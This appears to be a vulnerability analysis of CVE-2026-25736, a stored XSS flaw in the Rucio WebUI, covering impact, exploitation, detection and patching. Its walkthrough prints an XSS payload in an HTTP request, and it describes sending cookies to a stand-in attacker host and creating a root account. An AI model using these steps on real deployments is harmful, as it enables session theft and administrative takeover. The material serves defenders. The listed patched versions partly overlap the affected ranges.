CVE-2026-25736: 
Python vulnerability analysis and mitigation

CVE-2026-25736 is a stored Cross-Site Scripting (XSS) vulnerability in the Custom RSE (Rucio Storage Element) Attribute feature of the Rucio WebUI, a scientific data management platform developed by CERN. Attacker-controlled input submitted as a custom RSE attribute value is persisted by the backend and later rendered in the WebUI without proper output encoding, enabling arbitrary JavaScript execution in the WebUI origin for any authenticated user who views the affected page. The vulnerability was published on February 25, 2026, and affects rucio-webui versions prior to 35.8.3, versions 36.0.0rc1 through 38.5.4, and versions 39.0.0rc1 through 39.3.1. It carries a CVSS v3.1 base score of 6.1 (Moderate) (GitHub Advisory, GHSA).

The root cause is improper neutralization of user-controlled input before insertion into the DOM (CWE-79), compounded by session cookies lacking the HttpOnly flag (CWE-1004). An authenticated attacker with sufficient privileges to manage RSE attributes submits a malicious JavaScript payload as the value of a custom RSE attribute via a POST request to /proxy/rses/{RSE_NAME}/attr/{ATTR_NAME}; the backend stores the payload and returns HTTP 201, after which the payload executes in the browser of any user who navigates to the RSE management page. The impact is amplified because session cookies are accessible to JavaScript (no HttpOnly flag) and API tokens are exposed as JavaScript variables in authenticated page responses (e.g., var token = "root-root-webui-...:" on /ui/list_accounts). The advisory credits researcher d-woosley for discovery (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the WebUI origin of any user who views the affected RSE page, enabling session token and API token exfiltration to attacker-controlled infrastructure. Concrete post-exploitation actions include creating new UserPass identities with attacker-known credentials (including root-level accounts), creating or deleting RSEs, and exfiltrating scientific data managed by the Rucio platform. Depending on the privilege level of the victim user, the impact can extend to full administrative compromise of the Rucio instance (GitHub Advisory, GHSA).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including a working XSS payload to create a root UserPass identity. Exploitation requires the attacker to be authenticated with privileges sufficient to add RSE attributes (typically administrative), and requires a victim user to view the affected RSE page (user interaction required). There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.092% (26th percentile), indicating a low near-term exploitation probability (GHSA, GitHub Advisory).

1. Authenticate: Log in to the Rucio WebUI with an account that has administrative privileges to manage RSE attributes (Admin role).
2. Navigate to RSE Management: Go to Admin > RSE Management > [Target RSE Name] > Add Attribute.
3. Inject XSS payload: Submit a POST request to /proxy/rses/{RSE_NAME}/attr/{ATTR_NAME} with a malicious JavaScript payload as the attribute value, e.g.:

POST /proxy/rses/WEB1/attr/XSS HTTP/1.1
...
{"value":"<img src=x onerror=alert('XSS')>"}

The server responds with HTTP 201 CREATED, confirming the payload is stored. 4. Wait for victim interaction: The payload executes automatically when any authenticated user navigates to Admin > RSE Management > [Target RSE Name]. 5. Exfiltrate session token: The XSS payload reads the session cookie (accessible due to missing HttpOnly flag) and sends it to an attacker-controlled server: GET https://attacker.example.com/rucio/{BASE64_COOKIE}. 6. Escalate privileges: Use the exfiltrated token or directly embed a payload to create a root UserPass identity with attacker-controlled credentials via a PUT /identities/root/userpass request using the victim's auth token (GitHub Advisory).

• Network: Unexpected outbound GET requests from the Rucio WebUI server or client browsers to external domains with Base64-encoded path segments (e.g., GET https://attacker.example.com/rucio/<base64string>); unusual PUT requests to /identities/root/userpass from WebUI sessions.
• Logs: Rucio API logs showing POST requests to /proxy/rses/{RSE_NAME}/attr/{ATTR_NAME} with HTML/JavaScript content in the request body; unexpected PUT /identities/root/userpass calls not initiated by known administrators.
• Application State: Newly created UserPass identities for unknown usernames (e.g., attackeruser) in the Rucio identity management system; unexpected RSE creation or deletion events in audit logs.
• File System / Variables: Presence of JavaScript payloads (e.g., <img src=x onerror=...>) stored as RSE attribute values when reviewing RSE configurations (GitHub Advisory).

Upgrade rucio-webui to one of the patched versions based on your current deployment: 35.8.3 (for versions prior to 36.0.0), 38.5.4 (for versions 36.0.0–38.x), or 39.3.1 (for versions 39.0.0–39.x) (Rucio 35.8.3, Rucio 38.5.4, Rucio 39.3.1). As defense-in-depth measures, enforce the HttpOnly flag on all session cookies, avoid exposing API tokens as JavaScript-accessible variables, enforce a strict Content Security Policy (CSP), and replace unsafe DOM methods like .html() with .text() or sanitized templating. Restrict RSE attribute management to the minimum required set of privileged accounts to reduce the attack surface (GitHub Advisory).

The vulnerability was reported by researcher d-woosley and published by Rucio maintainer bziemons on February 25, 2026, alongside patches for five other WebUI security issues in the same release batch. Red Hat acknowledged the CVE in their security advisory tracker. No significant broader media coverage or notable community debate has been identified beyond standard vulnerability database aggregation (GitHub Advisory, Red Hat).